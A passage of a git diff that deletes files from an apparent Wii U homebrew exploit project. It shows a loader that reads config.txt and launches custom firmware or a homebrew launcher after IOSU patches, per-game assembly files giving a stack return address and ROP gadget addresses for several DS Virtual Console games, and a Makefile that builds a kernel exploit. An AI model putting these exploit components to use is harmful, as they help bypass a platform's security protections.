= -1; - void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4); - void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4); - void *pBuffer = NULL; - - void (*DCStoreRange)(void *buffer, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - - int(*FSInit)(void); - int(*FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); - int(*FSDelClient)(void *pClient); - void(*FSInitCmdBlock)(void *pCmd); - int(*FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); - int(*FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); - int(*FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); - int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - - OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit); - OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock); - OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClientEx", &FSAddClientEx); - OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient); - OSDynLoad_FindExport(coreinit_handle, 0, "FSOpenFile", &FSOpenFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSGetStatFile", &FSGetStatFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSReadFile", &FSReadFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile); - - FSInit(); - FSInitCmdBlock(pCmd); - FSAddClientEx(pClient, 0, -1); - FSOpenFile(pClient, pCmd, "/vol/content/config.txt", "r", &iFd, -1); - if(iFd < 0) - goto fileEnd; - FSStat stat; - stat.size = 0; - - FSGetStatFile(pClient, pCmd, iFd, &stat, -1); - - if(stat.size > 0) - { - pBuffer = MEMAllocFromDefaultHeapEx(stat.size+1,0x40); - memset(pBuffer,0,stat.size+1); - } - else - goto fileEnd; - - unsigned int done = 0; - - while(done < stat.size) - { - int readBytes = FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); - if(readBytes <= 0) { - break; - } - done += readBytes; - } - - unsigned int vpad_handle; - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); - OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); - - char *fList = (char*)pBuffer; - - int error; - VPADData vpad_data; - VPADRead(0, &vpad_data, 1, &error); - char FnameChar[256]; - memset(FnameChar,0,256); - int i; - for(i = 0; i < 17; i++) - { - if((vpad_data.btns_h & sel[i].val) || (sel[i].val == 0)) - { - char *n = strstr(fList,sel[i].txt); - if(n) - { - char *fEnd = NULL; - char *fName = n+strlen(sel[i].txt); - char *fEndR = strchr(fName,'\r'); - char *fEndN = strchr(fName,'\n'); - if(fEndR) - { - if(fEndN && fEndN < fEndR) - fEnd = fEndN; - else - fEnd = fEndR; - } - else if(fEndN) - { - if(fEndR && fEndR < fEndN) - fEnd = fEndR; - else - fEnd = fEndN; - } - else - fEnd = fName+strlen(fName); - if(fEnd && fName < fEnd) - { - int fLen = MIN(fEnd-fName,255); - memcpy(FnameChar, fName, fLen); - if(memcmp(FnameChar+fLen-6,"fw.img",7) == 0) - { - if(FnameChar[0] == '/' && fLen > 7 && *(FnameChar+fLen-7) == '/') - { - *(FnameChar+fLen-7) = '\0'; - __os_snprintf((void*)0xF5E70000,32,"/vol/sdcard%s",FnameChar); - } - else if(FnameChar[0] != '/' && fLen > 6 && *(FnameChar+fLen-7) == '/') - { - *(FnameChar+fLen-7) = '\0'; - __os_snprintf((void*)0xF5E70000,32,"/vol/sdcard/%s",FnameChar); - } - else - __os_snprintf((void*)0xF5E70000,32,"/vol/sdcard"); - launchmode = LAUNCH_CFW_IMG; - break; - } - else if(memcmp(FnameChar+fLen-4,".elf",5) == 0) - { - if(FnameChar[0] == '/') - __os_snprintf((void*)0xF5E70000,250,"/vol/external01%s",FnameChar); - else - __os_snprintf((void*)0xF5E70000,250,"/vol/external01/%s",FnameChar); - launchmode = LAUNCH_HBL; - break; - } - else if(memcmp(FnameChar+fLen-7,"sysmenu",8) == 0) - { - launchmode = LAUNCH_SYSMENU; - break; - } - } - } - } - } -fileEnd: - if(pClient && pCmd) - { - if(iFd >= 0) - FSCloseFile(pClient, pCmd, iFd, -1); - FSDelClient(pClient); - MEMFreeToDefaultHeap(pClient); - MEMFreeToDefaultHeap(pCmd); - } - if(pBuffer) - MEMFreeToDefaultHeap(pBuffer); - - if(launchmode == LAUNCH_HBL) - return 0x01800000; - - //store path to sd fw.img for arm_kernel - if(launchmode == LAUNCH_CFW_IMG) - DCStoreRange((void*)0xF5E70000,0x100); - - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - void (*SYSLaunchMenu)(void); - OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu); - - int (*OSForceFullRelaunch)(void); - OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); - - void (*OSExitThread)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - - //do iosu patches - void (*patch_iosu)(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) = (void*)0x01804000; - patch_iosu(coreinit_handle, sysapp_handle, launchmode, 0); - - if(launchmode == LAUNCH_CFW_IMG) - OSForceFullRelaunch(); - SYSLaunchMenu(); - - OSExitThread(0); - return 0; -} diff --git a/dsrom/option_select/types.h b/dsrom/option_select/types.h deleted file mode 100644 index 828591e..0000000 --- a/dsrom/option_select/types.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#endif /* TYPES_H */ diff --git a/dsrom/partnersintime_defs.s b/dsrom/partnersintime_defs.s deleted file mode 100644 index 63c6e5d..0000000 --- a/dsrom/partnersintime_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B624-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022070D8) -BCTRL equ (RPX_OFFSET + 0x02206F94) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3664) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A323C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021791BC) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B98) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEAA4) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DC0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205788C) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021492F8) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02221A3C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E58) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022218E8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220DA0) -_START_EXIT equ (RPX_OFFSET + 0x0202693C) diff --git a/dsrom/pokemonranger_defs.s b/dsrom/pokemonranger_defs.s deleted file mode 100644 index 08562ef..0000000 --- a/dsrom/pokemonranger_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B664-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16440E00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0204A6A0) -BCTRL equ (RPX_OFFSET + 0x02003D2C) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020AAB64) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020AA73C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001A8C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021806C4) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022800B0) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020187E8) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B5FA4) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F35C) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020871A4) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205B638) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018870) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021507F8) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020241EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02229E4C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222A268) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x02229CF8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006B64) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FC44) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0222993C) -_START_EXIT equ (RPX_OFFSET + 0x02026314) diff --git a/dsrom/sfcommand_defs.s b/dsrom/sfcommand_defs.s deleted file mode 100644 index a5e2139..0000000 --- a/dsrom/sfcommand_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x10796964-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8C938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x1643F200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02063D3C) -BCTRL equ (RPX_OFFSET + 0x02004158) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3670) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A3248) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021791C8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277BA4) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEAB0) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082E20) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x020578EC) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02149304) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02221A48) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E64) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022218F4) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220DAC) -_START_EXIT equ (RPX_OFFSET + 0x0202699C) diff --git a/dsrom/sm64ds_defs.s b/dsrom/sm64ds_defs.s deleted file mode 100644 index a1ab9ec..0000000 --- a/dsrom/sm64ds_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x107991A4-0xC0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8F938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16443300) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02049628) -BCTRL equ (RPX_OFFSET + 0x0200415C) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A6E10) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A69E8) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217C968) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227B400) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0201899C) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B2250) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F510) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02085334) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x020596A4) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018A24) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214CAA4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02024274) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02225208) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02225624) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022250B4) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006D30) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FC7C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x022247D8) -_START_EXIT equ (RPX_OFFSET + 0x02026908) diff --git a/dsrom/vwii_loader/Makefile b/dsrom/vwii_loader/Makefile deleted file mode 100644 index ef386f2..0000000 --- a/dsrom/vwii_loader/Makefile +++ /dev/null @@ -1,46 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 180C000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -lgcc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -sd_loader_elf := sd_loader/sd_loader.elf - -CFLAGS += -DUSE_SD_LOADER -ASFLAGS += -DUSE_SD_LOADER -FIRMWARE = 550 - -all: clean setup main - -sd_loader.h: $(sd_loader_elf) - xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ - -$(sd_loader_elf): - make -C sd_loader - -setup: - mkdir -p $(root)/bin/ - -main: sd_loader.h - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o vwii_loader.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map vwii_loader.map - $(OBJCOPY) vwii_loader.elf -S -O binary ../vwii_loader.bin - -clean: - rm -rf $(build) - rm -rf sd_loader.h - rm -rf vwii_loader.elf vwii_loader.map - make clean -C sd_loader diff --git a/dsrom/vwii_loader/README b/dsrom/vwii_loader/README deleted file mode 100644 index c41328d..0000000 --- a/dsrom/vwii_loader/README +++ /dev/null @@ -1,3 +0,0 @@ -This is a modified version of dimok's original homebrew launcher installer which can be found here: -https://github.com/dimok789/homebrew_launcher/tree/master/installer -This particular folder was hacked together to launch up vwii quickly. \ No newline at end of file diff --git a/dsrom/vwii_loader/common.h b/dsrom/vwii_loader/common.h deleted file mode 100644 index 1cedb68..0000000 --- a/dsrom/vwii_loader/common.h +++ /dev/null @@ -1,45 +0,0 @@ -#ifndef COMMON_H -#define COMMON_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include "os_defs.h" - -#define HBL_VERSION "v1.4" - -#define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" -#define WIIU_PATH "/wiiu" - -#ifndef MEM_BASE -#define MEM_BASE (0x00800000) -#endif - -#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) -#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) -#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08)) -#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C)) -#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10)) -#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) -#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) - -#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) - -#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600)) - -#define VWII_TITLE_ID_LOW (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x00)) -#define VWII_TITLE_ID_HIGH (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x04)) - -#ifndef EXIT_SUCCESS -#define EXIT_SUCCESS 0 -#endif -#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD - -#ifdef __cplusplus -} -#endif - -#endif /* COMMON_H */ - diff --git a/dsrom/vwii_loader/coreinit.h b/dsrom/vwii_loader/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/vwii_loader/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/vwii_loader/crt0.S b/dsrom/vwii_loader/crt0.S deleted file mode 100644 index d2095cf..0000000 --- a/dsrom/vwii_loader/crt0.S +++ /dev/null @@ -1,7 +0,0 @@ - - .extern __main - .globl _start - -_start: - # jump to our main - b __main diff --git a/dsrom/vwii_loader/elf_abi.h b/dsrom/vwii_loader/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/vwii_loader/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian 